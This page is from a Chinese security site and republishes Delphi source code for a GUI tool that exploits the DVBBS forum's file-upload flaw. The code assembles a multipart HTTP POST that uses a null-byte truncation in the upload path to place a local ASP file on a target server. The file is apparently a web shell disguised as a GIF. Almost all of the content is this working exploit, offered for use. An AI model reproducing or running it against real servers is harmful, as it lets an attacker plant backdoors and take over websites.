首页 | 安全文章 | 安全工具 | Exploits | 本站原创 | 关于我们 | 网站地图 | 安全论坛
  当前位置:主页>安全文章>文章资料>Exploits>文章内容
动网上传漏洞利用工具Gui版(Delphi)
来源:vfocus.net 作者:臭要饭的 发布时间:2004-05-19  

动网上传漏洞利用工具Gui版(Delphi)


unit MainUnit;

interface

uses
Windows, Messages, SysUtils, Variants, Classes, Graphics, Controls, Forms,
Dialogs, StdCtrls, Buttons, ScktComp, ExtCtrls;

type
TMainForm = class(TForm)
HostET: TEdit;
PortET: TEdit;
Label1: TLabel;
Label2: TLabel;
Label3: TLabel;
CFileNameET: TEdit;
SendDataBT: TSpeedButton;
PostPageET: TEdit;
Label5: TLabel;
ClientSocket: TClientSocket;
ServerInfo: TMemo;
Image1: TImage;
procedure SendDataBTClick(Sender: TObject);
procedure ClientSocketRead(Sender: TObject; Socket: TCustomWinSocket);
procedure ClientSocketConnect(Sender: TObject;
Socket: TCustomWinSocket);
private
Function CreateShellCode : String;
Function GetFileMemo: String;

{ Private declarations }
public
{ Public declarations }
end;

var
MainForm: TMainForm;

implementation
Var
SendData : String;

{$R *.dfm}

Function TMainForm.GetFileMemo: String;
Var
FMemo : TStringList;
Begin
FMemo := TStringList.Create;
FMemo.LoadFromFile(extractfilepath(ParamStr(0))+'Newmm.asp');
Result := FMemo.Text;
FMemo.Free;
End;


Function TMainForm.CreateShellCode : String;
Begin

Result :='-----------------------------7d22f8371b051c'+#13#10;
Result :=Result + 'Content-Disposition: form-data; name="filepath"'+#13#10;
Result :=Result + #13#10;
Result :=Result + 'uploadFace/'+Trim(CFileNameET.Text)+#0#13#10;
Result :=Result + '-----------------------------7d22f8371b051c'+#13#10;
Result :=Result + 'Content-Disposition: form-data; name="act"'+#13#10;
Result :=Result + #13#10;
Result :=Result + 'upload'+#13#10;
Result :=Result + '-----------------------------7d22f8371b051c'+#13#10;
Result :=Result + 'Content-Disposition: form-data; name="file1"; filename="D:\Newmm.gif"'+#13#10;
Result :=Result + 'Content-Type: text/plain'+#13#10;
Result :=Result + #13#10;
Result :=Result + GetFileMemo+#13#10;
Result :=Result + '-----------------------------7d22f8371b051c'+#13#10;
Result :=Result + 'Content-Disposition: form-data; name="fname"'+#13#10;
Result :=Result + #13#10;
Result :=Result + 'D:\Newmm.gif'+#13#10;
Result :=Result + '-----------------------------7d22f8371b051c'+#13#10;
Result :=Result + 'Content-Disposition: form-data; name="Submit"'+#13#10;
Result :=Result + #13#10;
Result :=Result + '上传'+#13#10;
Result :=Result + '-----------------------------7d22f8371b051c--'+#13#10;

End;

procedure TMainForm.SendDataBTClick(Sender: TObject);
Var
ShellCode : String;
PostPage : String;
begin
ClientSocket.Close;
ClientSocket.Host := Trim(HostET.Text);
ClientSocket.Port := StrToIntDef(PortET.Text,80);
PostPage := Trim(PostPageET.Text);
ShellCode := CreateShellCode;
SendData := 'POST '+PostPage+' HTTP/1.1'+#13#10;
SendData := SendData+'Content-Type: multipart/form-data; boundary=---------------------------7d231d312a02e4'+#13#10;
SendData := SendData+'Host: '+Trim(HostET.Text)+#13#10;
SendData := SendData+'Content-Length: ' + IntToStr(length(shellcode)) + #13#10;
SendData := SendData+#13#10;
SendData := SendData+ShellCode + #13#10;
ClientSocket.Open;
end;

procedure TMainForm.ClientSocketRead(Sender: TObject;
Socket: TCustomWinSocket);
begin
ServerInfo.Text := Socket.ReceiveText;
end;

procedure TMainForm.ClientSocketConnect(Sender: TObject;
Socket: TCustomWinSocket);
begin
Socket.SendText(SendData);
end;

end.



 
[推荐] [评论(0条)] [返回顶部] [打印本页] [关闭窗口]  
匿名评论
评论内容:(不能超过250字,需审核后才会公布,请自觉遵守互联网相关政策法规。
 §最新评论:
  热点文章
·CVE-2012-0217 Intel sysret exp
·Linux Kernel 2.6.32 Local Root
·Array Networks vxAG / xAPV Pri
·Novell NetIQ Privileged User M
·Array Networks vAPV / vxAG Cod
·Excel SLYK Format Parsing Buff
·PhpInclude.Worm - PHP Scripts
·Apache 2.2.0 - 2.2.11 Remote e
·VideoScript 3.0 <= 4.0.1.50 Of
·Yahoo! Messenger Webcam 8.1 Ac
·Family Connections <= 1.8.2 Re
·Joomla Component EasyBook 1.1
  相关文章
·BBSXP setup.asp top function i
·IIS后门设置脚本 FOR WIN2000
·Envymask 写的DVBBS UPFILES EXP
·Linux FreeBSD CVS exploit
·Symantec Multiple Firewall DNS
·cvs_solaris_HEAP.c
·Uploading shellcode v0.2 with
·Local Exploit for a buffer ove
·Local AIX getlvcb Exploit
·smartass.pl
·PaX DoS proof-of-concept
·linx86_sendmail.c
  推荐广告
CopyRight © 2002-2022 VFocuS.Net All Rights Reserved